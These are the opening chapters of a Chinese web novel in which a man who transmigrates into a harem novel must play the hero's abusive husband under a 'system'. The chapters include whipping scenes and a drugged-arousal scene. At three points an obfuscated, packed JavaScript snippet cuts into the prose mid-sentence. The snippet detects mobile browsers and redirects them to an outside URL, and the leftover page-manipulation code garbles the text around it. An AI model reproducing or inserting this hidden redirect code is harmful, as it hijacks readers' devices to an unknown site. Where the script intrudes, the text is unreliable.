《当龙傲天绑定男德系统后》 1. 第 1 章 温天霁睁开双眼,发现自己手里握着一根带有倒刺的,上面沾满血肉的鞭子。 呼吸间,满是血腥味。 他不受控制地挥动了一下手中的鞭子,随后便听到皮肉绽开的声音,与一道清冷的闷哼声。 与此同时,记忆如潮水般涌来。 他穿书了。 穿进了《龙傲天下》这本后宫文,成了男主柏清的炮灰男妻。 在原著中,这个男妻仗着家世显赫,对尚未发迹的柏清极尽羞辱之能事。他让柏清给他洗脚,用鞭子抽打柏清,甚至在大冬天让柏清跪在雪地里。 柏清龙王归来,第一件事就是将这个男妻做成人彘。 最后,柏清一统修真界,成为了仙尊,娶了各种青梅竹马,男女通吃,后宫遍布整个修仙界,过上了□□的生活。 温天霁接收完记忆后,开始打量四周。 他所在的地方是个地牢,地牢四周点着油灯,能够清晰地看清眼前情形。 对面的墙壁上,用铁链吊着一个浑身鲜血淋漓、血肉模糊的男人。 这个男人眉飞入鬓,剑眉星目,鼻若悬胆,即便乱发粗服,也难以掩盖其俊美。他的眉眼散发着一股凌然的正气,但是细看之下,这正气中又隐藏着阴暗咸湿的气息。 温天霁迅速做出判断。 眼前这个男人就是《龙傲天下》的种马男主——柏清。 温天霁顿时感觉自己完蛋了。 如果他没有猜错的话,他刚才应该是给了柏清一鞭子,柏清不会把他做成人彘吧? 温天霁看向柏清,只见柏清朝他投来阴狠、凌厉的目光。 看到这个目光,他瞬间想到了原身被做成人彘的凄惨下场,后背不禁渗出细密的冷汗来。 话说起来,这个柏清真的有够讨人厌。 明明入赘给了原身,却不肯碰原身,导致原身心理扭曲,各种虐待柏清。 所以,柏清被虐待,也有自己的原因,不能全怪原身。 但虐待到这种地步,也差不多够了吧。 温天霁准备上前,把柏清放了。 忽地,听到一道古井无波的机械音,在脑海内响起:“恶毒男妻系统已绑定,请宿主维持恶毒男妻人设,切勿ooc。” 如果不听系统的话,会有什么后果呢? 温天霁直接迈向柏清,准备掏出钥匙替柏清解开锁链。 瞬间,一阵电流击中了他的身体。 系统重复道:“请宿主维持恶毒男妻人设,切勿ooc。” 等到电流过后,温天霁才看向柏清。 当他看到柏清狠厉暴虐的眼神,本能地脊背发凉,但是想起系统的吩咐,于是道:“柏清,你再敢用这种怨恨的眼神看我,我就把你的眼珠子挖掉!” 柏清颤了一下,仿佛极其痛苦的样子。 随后,他便收起了怨毒的眼神,深吸一口气,恭敬道:“不敢。妻主教训我,是我的福分,柏清岂敢怨恨。” 温天霁还想再说几句狠话,就听得一阵急促的脚步声越来越近。 地牢的门被打开,来人一身华服,面容俊朗,眉眼间带着几分凌厉。 温天霁立马反应过来,这是他的兄长——温满,温家现任家主。 温满走到他身旁,温柔一笑,伸出手,小心翼翼地抚摸着温天霁的脸颊:“霁儿,你还好吗?我听说你从楼梯上摔落下来,崴了脚。” 温满抚摸他,动作轻柔,好似在对待一件绝世珍品,生怕不小心碰碎了他。 温天霁看着温满柔情似水的目光,顿时觉得有些别扭。 就算是兄弟,这么亲昵,也有点过了吧? 但是温天霁想到,原身父母双亡,是温满这个大哥既当爹又当妈地将他拉扯长大,因此温满才会对他充满了占有欲和保护欲,也就释然了。 “大哥。”温天霁唤了一声,侧过脸,避开温满的手,“霁儿已经长大了,大哥不要再把霁儿当小孩子了。” “好好好,霁儿长大了,大哥以后就把你当大人来看。”温满收回手,一脸宠溺。 说完,温满从温天霁手中拿过鞭子:“不过在此之前,大哥先替你教训一下不听话的狗。” 话音刚落,直接一鞭子抽打在柏清身上。 柏清血肉模糊的身子,更加破败不堪。好不容易结了痂的地方,再次皮开肉绽。 鲜血也喷溅而出,滴落在温天霁灿金色的衣摆上。 “霁儿身子虚弱,”温满语气冷酷,“让你好好照看,你却失职,害得霁儿失足跌落楼梯崴了脚,该当何罪?” 边说,边鞭笞柏清。 “唔……”柏清发出一声闷哼。 他的目光牢牢钉在温天霁身上,幽怨深邃,仿佛淬了毒一般,令人不寒而栗。 温天霁看到这目光,就知道,柏清嘴上说着不怨恨,心里肯定是怨恨的。不然也不会龙王归来后,第一件事,就是找原身算账。 说起来,柏清还认为温满虐待自己,是原身指使的,因此更加恨原身了。 不行,不能放任温满这么拉仇恨下去,不然柏清都把账算在他头上了。 “大哥。”温天霁扯了扯温满的衣袖,不满道,“这是我的人,要动手也应该由我自己动手,你怎么越俎代庖呢?” 温满停下手上的动作,笑了笑:“是啊,霁儿长大了,有自己的主意了。”说着,将鞭子递还给了温天霁。 “大哥这就看你亲自教训柏清这个臭小子。” 温天霁接过鞭子,在青石板上甩了几下。 空荡的室内顿时啪啪作响。 “柏清,你知道自己错在哪里吗?”温天霁仰起下巴,一脸傲娇的模样。 柏清凶狠地瞥了温天霁一眼,随后浑身颤抖,闭上了双眼。半晌,等柏清再度睁眼,眼里意外地有了些许温柔。 他徐徐开口,语气和缓:“我错在没有守护好妻主,让妻主受伤了,妻主惩罚得是。” 温天霁闻言,再看柏清稍显柔情的神色,顿时惊了。 他可是记得,原著里,柏清在原身面前,那叫一个满脸不屑,孤傲清冷。 怎么眼前这个柏清,竟然折腰,说出这种话来了呢? 温天霁用狐疑的目光上下扫视柏清,但是柏清依旧眼含温柔,这眼神看得温天霁浑身鸡皮疙瘩都掉下来了。 温天霁搓了搓手上的鸡皮疙瘩,冷冷地问:“柏清,还有没有下一次?” 柏清略显深情道:“保证没有下一次,我绝对会把妻主的安危看得比我的性命还重要,不让妻主受丝毫的损伤。” 温天霁满意地点点头:“这一次就放了你,下次若敢再犯,决不轻饶。” 说罢,温天霁上前用钥匙打开了锁链,将柏清从墙壁上放了下来。 做完这一切,他便离开了地牢。 … 回到自己的房间后,温天霁觉得十分劳累,仿佛耗尽了所有气力,躺在雕花拔步床上,将绣金丝的锦被盖在身上。 一觉睡醒后,好不容易恢复了些精神,他立即拿着伤药去找柏清。 他得向龙傲天柏清释放出善意,改善柏清对自己的印象,以免被做成人彘。 柏清住在偏院里,偏院坐南朝北,冬冷夏热。 眼下正是冬天,这里的气温简直能将人冻僵。 温天霁身子本身就差,在这里更是冷得瑟瑟发抖。 他刚打开门,就听到柏清的声音:“柏清伤重,恕不能迎接妻主。” 温天霁迅速进入恶毒男妻的角色设定里,阴阳怪气:“看来你还是在怪我下手太重了。” “柏清不敢。”柏清仗着温天霁看不见他的神色,眉眼中满是不耐烦。他撑着身子,从床上起来,单膝跪地:“柏清恭迎妻主。” “起身,别搞得我好像欺凌你一样。”温天霁进入房内,走到柏清身前,“你就说,我每一次教训你,是不是都师出有名?” 柏清低着头,缓缓站起,嘴角扯过一抹冷笑:“是,妻主所言甚是。” “好了,这是我特意给你拿的伤药,你好好涂抹,傍晚就能结痂。”温天霁将一个青花瓷小瓶扔了过去。 柏清接过后打开一闻,神色有些惊讶:“黑玉断续膏!” 黑玉断续膏,就算断了经脉与骨头,都能恢复如初,可谓是有价无市的伤药。 柏清有些意外,温天霁竟然舍得将这么好的伤药给他用。 就在这时,恶毒男妻系统的声音传来:“检查到宿主给柏清送药,特来提醒: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156289|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请保持恶毒男妻人设,切勿ooc。” 温天霁顿了一下,对柏清缓缓解释道:“你别多想,三日后就是旭日大比,你也要参赛,要是你因为受了鞭笞而不能进入前三名,丢的可是我们温家的人。” 说完,转身离开。 柏清收起了惊诧的表情,一脸的果然如此。 … 入夜,温天霁收起了话本,坐在床上,准备睡觉。 门被敲响。 “进来。” 温天霁看着柏清端着一盆洗脚水出现在他面前。 柏清面无表情地将洗脚水放在温天霁的双脚旁,双膝跪地:“妻主,请容我替你洗脚。” 温天霁内心有些抗拒,他都这么大个人了,根本不需要别人来伺候他洗脚。 刚想拒绝,系统发布任务:“请宿主接受柏清的洗脚服务。” 温天霁沉默了,片刻后,他心想,只是洗个脚而已,应当不至于让柏清记恨到把他做成人彘的程度。 于是,他开始享受起了柏清的服务。 水温正好,用的水还是灵水,能促进灵力吸收。 温天霁洗完脚,看着柏清。 虽然柏清面无表情,但是温天霁还是看出了屈辱的味道来。 系统又在此刻发布任务:“请宿主用行动羞辱柏清,任务奖励:洗髓丸一颗。” 温天霁听到任务奖励后,顿时惊了。 洗髓丸能将废柴资质的人洗练成绝顶灵根,是极为稀罕的六品丹药。 就连小说后期的柏清,都只获得过一颗,赠送给了竹马丁凌风。 没想到这个恶毒男妻系统这么慷慨大方。 温天霁笑了笑,恶从胆边生,将右脚从水中抬起,直接踹了柏清一脸,而后真诚地道歉:“不好意思,脚滑了。” 柏清被溅了一脸的洗脚水,咬紧牙关,挺直了脊背,一脸风雨欲来。 亏他以为温天霁送伤药给他,可能改了性子,却原来还是那么恶毒的一个人。 柏清握紧拳头,即将起身给温天霁一拳。 男德系统发出警告:“请宿主关爱男妻温天霁,切勿伤害男妻。” 温天霁看着柏清脊背紧绷,宛如一头狩猎时的豹子,马上要发动攻击的样子。 就在他以为柏清会发怒时,柏清却捉住他白皙细嫩的脚踝,摩挲两下,温柔一笑:“妻主大人小心,我帮你擦干净水。” 温天霁摸了摸下巴,他没想到柏清这么能忍,简直忍者神龟。 柏清仍然跪在地上,没有起身。 温天霁不再管柏清,脱完外套,钻进了柔软的被窝里,他见柏清没有离去,便道:“你给我念一下话本,对,就那本《仙之逆》。” 柏清额角突突,过了片刻,才冷静下来,拿起《仙之逆》,开始朗读起来。 温天霁听了几十页,兴致勃勃,丝毫没有睡意。 但是过了这么久,他还没有将被窝捂暖和。 他这才想起来,原身十八岁时冲击元婴失败,从此落下病根,缠绵病榻,身子虚得很。 这么下去,不借助外力,恐怕被窝是永远捂不热了。 温天霁想到柏清是纯阳体质,天生散热,于是冲柏清招了招手:“过来,给我暖被窝。” 刚说完,温天霁就有点后悔。 原身看上柏清俊逸的相貌,强取豪夺,让柏清入赘。 结果柏清觉得入赘有损他的大男子尊严,倍感屈辱,不肯碰原身,甚至不愿意和原身同床共枕。 他让柏清给他暖被窝,岂不是痴人做梦。 岂料下一秒,柏清二话不说,放下手中的话本,开始脱衣服,麻溜地钻进了被窝。 柏清搂住温天霁细瘦的腰肢,还体贴地用小腿夹住了温天霁冰凉的双脚,替他捂脚。 温天霁只觉得柏清像个小火炉,源源不断的热量从对方身上传来。 不多时,温天霁便被睡意席卷,陷入了梦乡之中。 柏清确定温天霁睡熟之后,眼神中的温柔就被狠厉替代。他默默拿出一把匕首,将匕首直抵在温天霁脖颈上,只差毫厘便能割开温天霁的喉咙。 千钧一发之际,男德系统发出警告:“请宿主关爱男妻温天霁,切勿伤害男妻。” 2. 第 2 章 翌日,温天霁睁开惺忪的睡眼。 被窝里还残存着柏清的余温,但是却没看见柏清这个人。 温天霁伸了个懒腰,开始穿衣。 刚下床,就看见柏清端着洗脸水进来了。 洗漱的过程,温天霁只刷了个牙,其余都由柏清帮忙动手完成。 现在,他坐在梳妆台前。 柏清站在他身后,拿着木梳,轻柔地替他篦发。 好在温天霁是个男子,也不需要多繁琐的头饰,只编了两个小辫子,辫子和头发最后一同梳成马尾,用一根黑红交织的头绳绑了起来,头绳下坠着两小块环佩。 温天霁以为这样就算完工了。 但是柏清又拿过螺子黛,细细地替他描眉。 温天霁别看性子顽劣,那长相是一等一的温柔和顺,貌美非常。 就连描眉的柏清,都在温天霁抬头轻瞥的瞬间,眸中闪过一丝惊艳。 刚打扮好,还没出门,房门就被敲响。 “霁儿,醒了吗?” 听声音,是大哥温满。 温天霁懒洋洋地推开柏清,转身正对着门:“醒了,大哥进来吧。” 门吱咯一声轻响。 温满推开门,看到柏清也在房间里,有些惊讶,问温天霁:“柏清怎么也在这里?” “哦,他?”温天霁并不在意,漫不经心道,“昨晚给我暖床就留下来了,今天给我端水洗脸梳头,用着比阿福那个笨手笨脚的下人好多了。” “暖床?”温满眼神变得深邃起来,“怎地,他竟肯碰你了?” 温天霁挑眉,笑道:“大哥,你误会了。他这种粗鄙的人,我怎么会让他碰我?不过天冷,他又是纯阳之体,当真是字面意义上的暖床罢了。” 温满这才重新挂上笑模样。 “对了,”温天霁站起身,敲了敲细窄的腰身,“哥,你大清早来找我有什么事吗?” 温满从怀中拿出一份鎏金的请柬,递了过去:“今晚要去参加丁家举办的宴席,这是请柬,你收好。” 温天霁眼前一亮,接过请柬。 如果他没有记错的话,这是一段重要的剧情。 原著中,今晚宴会,天衍宗宗主之女何婉茹会出席,还会表演双人舞剑。 但是因为舞伴马啸风手腕受伤,她会在宴席上点名让柏清代替。 柏清出色地完成了即兴双人舞剑,何婉茹因此对他心生爱慕。 马啸风见何婉茹喜欢上了柏清,心有不甘,在何婉茹酒杯里下春药,反而成就了何婉茹与柏清的鱼水之欢。 又因为柏清和原身成婚,此后柏清和何婉茹开启了一段虐恋情深。 这时,男妻系统发布任务:“请宿主促成柏清和中春药的人亲密接触,任务奖励:《素女心经》。” 《素女心经》由前任仙尊伊素创作而成,对灵力运转和吐纳极有帮助。 上次温天霁羞辱了柏清,踹了柏清一脸洗脚水,获得了一颗洗髓丸还没有用。 没想到这么快,系统又来送心法了。 温天霁心想:“这个系统挺大方的,我只要在一旁看戏就能获得顶级心法,真是不错呢。而且我只要抓到柏清和何婉茹做恨,就可以名正言顺地提出休夫,和柏清一拍两散了。从此以后,再也不用担心柏清会把我做成人彘了。” 想到这里,温天霁看了一眼身着粗布麻衣的柏清,觉得有些扎眼。 “给,这是五块上品灵石。”温天霁从储物袋里取出灵石,“你去置办一身像样的行头,今晚和我一同出席丁家晚宴,莫要叫别人看低了你。” 柏清接过灵石,语气中似乎带了些感激,但这感激又很浅薄,浮于表面:“多谢妻主关心,我必定好好置办,不给你丢人。” … 晚上,温天霁看到一身华服的柏清,摸了摸下巴,不禁在心中感慨:“这个柏清果然俊逸非凡,难怪原身要强取豪夺,将人娶回家。” 到了丁家后,柏清拉着温天霁的手,朝着宴席走去。 宴席摆在后院,这时候,天色刚黑,月明星稀,几只白鹤在后院的梅花树下梳羽。 后院的桌子像麻将一样将四周围了起来,每一面都足足有一百张长约一丈的黄花梨的桌子。 丁家这次宴席的阵仗很大,几乎整个江东有头有脸的修真世家都来了。 温天霁找到自己座位,施施然坐下,放眼望去,宾客已经到了七七八八。 不到一炷香,宾客悉数到齐。 众人寒暄,互相吹捧了片刻,悦耳的仙乐就潺潺倾泻而出。 丁家的乐修弟子表演了一曲《反弹琵琶伎乐天》,博得满堂喝彩。 随后各个门派和修真世家的弟子纷纷上前表演。 温天霁磕着瓜子,看得百无聊赖。 终于,在一名女子上场的时候,他挺直了脊背。 柏清见温天霁这激动的模样,也朝场中望去,看到一位天姿国色,恍如神妃仙子的女子后,便对温天霁笑道:“妻主,你喜欢这样的?” 温天霁瞥了他一眼,心想:“是你喜欢这样的。” 这名女子就是天衍宗宗主之女,何婉茹。 她头梳倭坠髻,戴着蝴蝶步摇,身着玄色烫金长袍,气质雍容华贵,挽着一柄宝剑就走了出来。 何婉茹嫣然一笑,拱手拜道:“诸位,我本与大师兄准备了一段双人剑舞,想要献丑。但是师兄手腕昨日受伤,不知在场有哪位剑修愿替代师兄,与我共舞?” 来了,来了。 剧情它终于来了。 温天霁双眸晶亮,炯炯有神地盯着柏清,心道:“柏清要出手了,柏清要出手了!” 过了片刻,柏清疑惑地问:“妻主,你这么看我做什么?” 温天霁润了润嗓子,压低声音:“如此美艳高贵的女子缺少舞剑伴侣,你难道不心动,不想上去和她一起表演?” 柏清立马摇头,义正辞严:“完全不想。我是妻主的人,只会和妻主一起舞剑。若是和别的女子舞剑,我的清白就毁了。清白,是男子最好的嫁妆,我誓死守护自己的清白。” “……”温天霁被雷得不轻。 啊喂! 有没有搞错,你可是种马男主,播撒种子是你义不容辞的责任。 你在这里跟我装什么蒜,还守护清白,守护个鬼啊! 温天霁激动地拍了一下桌子。 何婉茹如今已是金丹大圆满的修为,傲视同龄人。 在场的同龄人都不愿和她一起舞剑,害怕暴露自己修为低浅,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156290|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此没人应声。 何婉茹正愁没有人愿意和他一起舞剑,见温天霁拍了桌子,便笑道:“看来温二公子迫不及待地想要和我一起舞剑,这边请。” 温天霁怔了一下,见众人都朝自己看来,没有办法,只得硬着头皮,提剑上场。 虽然原身冲击元婴失败,修为倒退,但少说也是个金丹中期的人,修为倒是和何婉茹不相上下。 只是,那是原身啊! 温天霁是一个穿越而来的冒牌货,根本没有碰过剑。 温天霁心想:“反正我这具身体差得很,要不装虚弱躲过去算了。” 结果,他还没来得及开始装,何婉茹惊鸿一剑就朝他而来。 温天霁本能地拔剑,挽了一招“归鹤入天”,恰好将“惊鸿”的来势汹汹变为缱绻柔情。 接下来,温天霁又分别用“鸾凤和鸣”“白鹭青天”“沧溟细柳”等等招数,破解了何婉茹的攻势,使得两人的剑舞相得益彰。 一时间,席上剑影明灭,剑意弥漫。 众人皆赞不绝口。 柏清也目露惊艳。 他不是没有听闻过温天霁惊才绝艳,但是始终难以将对自己强取豪夺,为人嚣张跋扈的温天霁,和传闻对应起来。 今日,他算是第一次认识到,温天霁无愧于翩翩贵子的称赞。 舞毕。 温天霁脸上浮现出红晕,好似火烧云一般,浑身香汗淋漓。一双杏眸水润,湿漉漉的,看起来让人很想欺负,直至这双眼睛流出泪水来。 柏清忍不住想,如果能让温天霁屈辱地哭出来,一定是件很有意思的事。 温天霁拂袖,擦了擦额头上的汗水,喘息几下,平复过后,虚弱道:“何道友剑法精妙,在下佩服。” 老实说,温天霁现在颇有种劫后余生的庆幸。 好在肌肉记忆还在,不至于丢人现眼。 何婉茹眼中满是棋逢对手的欣喜,忍不住夸赞道:“温道友果然如传闻中的那般,惊才绝艳,何某佩服之至!若是他日温道友来天衍宗,何某必倒屣相迎。” “好说好说。”温天霁软着双腿,强撑着下场,尽量不让别人看出他现在很虚。 过了一会儿,何婉茹可能见温天霁剑法高超,想要和他探讨剑道,便换了座位,坐在温天霁左侧。 何婉茹问了许多,温天霁都“嗯”“啊”敷衍过去。 到了最后,实在敷衍不过去,他便板着脸,开始装逼:“无他,唯手熟尔。” 何婉茹闻言,一脸惊叹,豁然开朗:“多谢道友指点!” 这时,何婉茹的大师兄马啸风端了一杯酒过来,放在桌上:“这是丁家独有的桂花酿,师妹,你尝尝。” 说完,转身离开。 何婉茹随手拿起桌上的一个酒杯,一饮而尽,心中疑惑道:“这是桂花酿吗?我怎么尝不出桂花的味道。” 温天霁被她问得心烦意乱,也随手拿起一个酒杯,一饮而尽。 何婉茹又和温天霁聊了几句,发现温天霁心不在焉,便起身回到原座上了。 温天霁在她离开后,便偷偷摸摸地观察她,心想:“春药的剧情应该快来了吧?” 左等右等,何婉茹神色如常。 反而他身上开始逐渐发烫。 3. 第 3 章 我去! 温天霁在心里开骂了。 不是说好了给何婉茹下药吗? 怎么中招的人变成他了呢? 温天霁起身离席,走到僻静的角落。这时候,他的身子一点点热了起来,额头上开始渗出颗颗汗粒,心中生出一股欲望——想要找个人接吻、触摸、做恨。 他知道,这是春药药性发作了。 温天霁赶紧思索要怎么办,难不成找柏清,告诉柏清他中春药了,需要上一下柏清来解? 怎么可能? 柏清那可是碰都不愿意碰原身一下。 虽然说现在柏清表现得很爱他一样,替他洗脚、暖床、洗脸、梳头、画眉,但是那种想刀一个人的阴暗眼神,还是会偶尔泄露出来。 说到底,一个人要是狠狠地虐待过你。 只要不是斯德哥尔摩综合征犯了,你就不可能喜欢上对方。 所以和柏清做恨这个选项,一开始就被温天霁排除掉了。 那还能怎么办? 温天霁努力思索,终于在记忆深处找出了两种药材——九转还魂草和千年雪莲。 原身因为病弱,常年吃药,所以对药理颇有研究。 温天霁吸收了他的记忆以后,自然知道什么药能够化解春药的药性。 能化解春药药性的药材很多,但是九转还魂草和千年雪莲是最好的两种,基本没什么副作用。 但是这两种草药也异常珍稀,只有修仙世家才会常备。 但好在丁家就是修仙世家。 此刻,温天霁身上的热度已经开始烧灼着他,让他的大脑变得迟钝起来。他迫切地想要降下身上的温度,于是整个人背靠在玉石墙壁上。 冷热触碰之下,热度像跗骨之蛆般缠绕升腾,在他的经脉、血液之中肆意游动。 温天霁忍不住轻哼出声,声音魅惑勾人。 “必须找到丁凌风……让他给我拿解药……” 残存的理智让温天霁挪动起脚步来,然而身上的酥痒却让他寸步难行。 越来越热,热到滚烫的程度,热到汗水已经浸湿他的整个身体。 “不能这么下去……再这样下去,我会当众发情……沦为欲望的奴隶……” 这时候,温天霁对下药的马啸风恨得咬牙切齿,恨不能将其碎尸万段。 额头上的汗珠汇聚在一起,从额上滚落,流过眼皮。 温天霁闭上双眼,抹了一把脸,再睁开时,眼前的景物已经变得模糊起来。 他竭尽全力,终于站立起来,朝着印象中丁凌风所在的位置而去。 走了不知多久。 他浑身的骨头都酥痒了起来,像被千万只蚂蚁啮噬一般,想要别人用宽厚的大手将这种酥麻抚平。 “丁……凌风……” 温天霁扶住墙柱,喊了一声。 他感觉自己的意识快要被情欲所吞没。 无奈之下,他咬了舌尖一口,随着腥甜和疼痛传来,终于又恢复清醒。 这时,他浑身一软,要不是扶着墙柱,就要跌倒在地。他大口喘息着,明明吸进去的是冬日里的冷气,可分毫没有降低他身上的热度。 他白皙的脸颊变得潮红,半开半阖的杏眸水光潋滟,整个人看起来脆弱而娇嫩。 “温二公子。” 丁凌风听到有人呼唤,便转身朝着阴暗处走来。 温天霁见到一个斯文清隽,气质如兰如竹般干净的男人走了过来。 他终于松了一口气:“丁凌风……帮我找到……九转还魂草和……千年雪莲……” 丁凌风虽然是乐修,但也涉猎过药理,因此听到这两种药,再结合温天霁情动的模样,当即明白发生了什么。 “小生责无旁贷,必找到这两种灵药。”丁凌风快步上前,搀扶住温天霁的手臂,“请温公子随小生前来。” 听到这段话,温天霁彻底放下心来,知道自己有救了,不会丢人现眼。 虽然丁凌风暗恋柏清,对自己很有意见。 但对方是个正人君子,不会放任自己中春药不管的。 温天霁靠在丁凌风身上,任由对方搀扶着行走。 走了十几步,温天霁便觉得自己呼吸变得分外灼热,身上的瘙痒也急需解决。他情不自禁地蹭了一下丁凌风。 丁凌风浑身僵硬,脸红道:“温二公子,你再忍耐一下,马上到了。” 等到了厢房后,丁凌风将温天霁扶上床,逃也一般地跑了出去。 温天霁抱着被子,轻轻地磨蹭,想要缓解身上的灼热和酥痒,但却弄巧成拙。 他越来越渴望有个人能够亲吻他全身,抚摸他肌肤。 门被敲响。 丁凌风这么快就回来了? 温天霁虽然有些疑惑,但还是毫无防备道:“进来……” 温天霁睁开双眸,看向门口。 尽管双眼朦胧,但他还是能够看清,进来的人不是丁凌风,而是柏清。 “你来干什么?” 出口的声音沙哑,满是情欲,像带着钩子般搔在柏清心尖。 只见温天霁双颊通红,头发松散,几绺碎发贴在额前,令他有种破碎的气质。他的容貌本就生得极好,平日里苍白的肌肤,此刻因春药药性而显得红润,增添了几分夺人心魄的魅惑。 因为磨蹭了一会儿锦被,于是有些衣衫不整,两片泛红的精致锁骨若隐若现。 他脱掉了鞋袜,在快感得不到满足的情况下,小巧玲珑的脚趾蜷缩起来,让人想要伸手去把玩。 眼前的画面太过震撼,画面里的人又是倾国倾城的容颜。 柏清一时间竟忘却了那人是温天霁,看得怔住,移不开眼。 回过神来后,柏清咳嗽一声,清了下嗓子,皱眉问:“你怎么了?” 我怎么了,你看不出来吗? 温天霁说话的力气都没有,只能给柏清一个眼刀,希望柏清能够识相,快点离开。 可是温天霁杏眸中水汽氤氲,本该具有震慑力的一个眼刀,活生生变成了一个勾人的媚眼,让人欲罢不能。 柏清心中一直平静无波的那根琴弦,忽地被这个媚眼勾动,发出一声轻响。 他闭上双眼,深吸一口气,再睁开,才得以保持冷静:“你中了春药?” “嗯……”温天霁点点头,希望柏清能赶快滚,“你走开……” 若是柏清再不走,温天霁很可能就会因为深陷情欲而扑上去。 他很讨厌柏清这种种马男,根本不想和柏清发生什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156291|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么肉|体上的关系。 柏清闻言,顿了一下,似乎在犹豫挣扎。 温天霁中了春药,若是不纾解,很有可能会落下疾病,终身残疾。 可是温天霁之前那样欺凌他,且温天霁娶他就是为了把他当作炉鼎,他要是献身,岂不是显得自己特别下贱? 踟蹰片刻,柏清做出决定,准备转身离去,当作没有看到。 就在他迈步的瞬间,男德系统发出尖锐爆鸣:“检测到男妻温天霁中了春药,宿主不打算解救,故释放电击。再重复一遍,请宿主关爱男妻温天霁。” 柏清整个人颤抖战栗,像被雷击一般,好久才缓过来。 等柏清再次直起腰时,他已经将门合上,朝着温天霁施施然而去。 “嗯……唔……”温天霁还在蹭着被子,无意识地哼哼。 他已经衣襟大敞,露出了薄薄的胸肌。 细碎的呻|吟从红润的双唇间溢出,指尖攥紧了被褥。 整个人一副任人采撷的样子。 柏清看到温天霁这含苞待放的美景,对于接下来要做的事情也没有那么抵挡了,甚至隐隐还有些期待。 “妻主,我来帮你纾解。” 说着,柏清坐在床榻边,伸手去解温天霁的外袍。 这时候,温天霁尚存最后一丝理智。 当听见柏清要替他纾解时,他立即血气上涌。 不,不要。 不要柏清这个种马男! 温天霁用尽吃奶的力气,挥手。 啪。 清脆的巴掌声在偌大的房间内响起。 一室寂静。 柏清舔了舔嘴角的腥甜,气笑了。 温天霁的所有理智,却在甩完这个巴掌后,消失殆尽。 他的身体像烈火烧灼一般滚烫,身上汗水涔涔,灿金色的衣领滑至肩膀处,香肩半露。 他用沙哑、魅惑的声音,缱绻呢喃:“柏清……给我……” 温天霁下意识地朝柏清伸出双手,手腕上的绸缎滑落到肘弯,露出暖玉一般的藕臂。随着他的动作,耳垂上悬挂的银铃叮当作响。 他这样,有种犹抱琵琶半遮面的美感,比全|裸还要情色。 柏清刚刚升腾起的怒火瞬间被浇灭,取而代之的是一股陌生的欲望。 这欲望充斥在他的胸口,叫嚣着让他去抱紧温天霁,在温天霁身上留下一串串红色的吻痕,叫嚣着让他掐住温天霁的腰窝。 “柏清……嗯……我好难受……” 温天霁还在无意识地引诱着柏清,字字句句摄人心魄。 柏清终于遵从内心的欲望,伸出手,落在温天霁的下颔上。 柏清右手抬起温天霁的下巴,左手撑在鹅绒枕头边,缓缓俯身,低下头去。 “你们在干什么?” 丁凌风推开门,见到的便是柏清即将吻上温天霁的画面。 温天霁衣衫半退,嫩粉的肌肤在夜明珠的照亮下,显得格外引人犯罪。 他双目紧闭,张开嘴娇喘着,露出丁香小舌。两双皓腕被宽厚的大手合并,牢牢压在额头上。 他浑然不知自己此刻的媚态,被只有几面之缘的丁凌风看光,还在轻哼。 “唔……我好……难受……” 4. 第 4 章 丁凌风一向克己复礼,平生最大的叛逆就是暗恋柏清,何曾见过这等香艳的画面,当即被震得说不出话来。 柏清因沉浸在攻城略地的惊心动魄中,无暇他顾,乍一发觉丁凌风闯了进来,第一反应便是用锦被将温天霁裹了起来。 温天霁却还傻傻地挣扎,细细喃喃:“柏清……柏清……” 温天霁喷出的气息皆打在柏清的耳畔,让他不禁红了整只右耳。 他转头,看向丁凌风,眸光凌厉:“有事吗?” 语气颇为不耐烦,似是在恼火丁凌风打搅了他的雅兴,因此驱逐丁凌风。 丁凌风本来双颊通红,目光牢牢钉在温天霁身上,闻言,便将目光转向柏清,半晌,才回过神来。 柏清到底是他年少时暗恋过的人,此刻见到对方与温天霁亲昵,心头便是一痛。 “有。”丁凌风走了进来,从怀中取出一个药瓶,“你先走开,我给温二公子喂药。” “什么药?”柏清挑了下眉,语气警觉。 丁凌风走到床前,坐在柏清身边,一把将温天霁从柏清怀中搂过来:“化解春药药性的药。” 动作间,裹着温天霁的锦被松散,温天霁便伸出一截暖玉般的藕臂,搂住了丁凌风的脖颈,趁着丁凌风怔神的瞬间,在丁凌风耳畔落下一个轻飘飘的吻。 丁凌风浑身僵硬,不敢动弹,心如擂鼓。 一旁的柏清见状,心中莫名地泛起了酸涩的滋味,眉头紧皱,伸手想要去抢夺丁凌风怀中的美人。 “柏清……丁凌风……” 温天霁用情痒难耐的声音,勾着床榻边的两人。 “我好难受……你们……谁能亲亲我……” 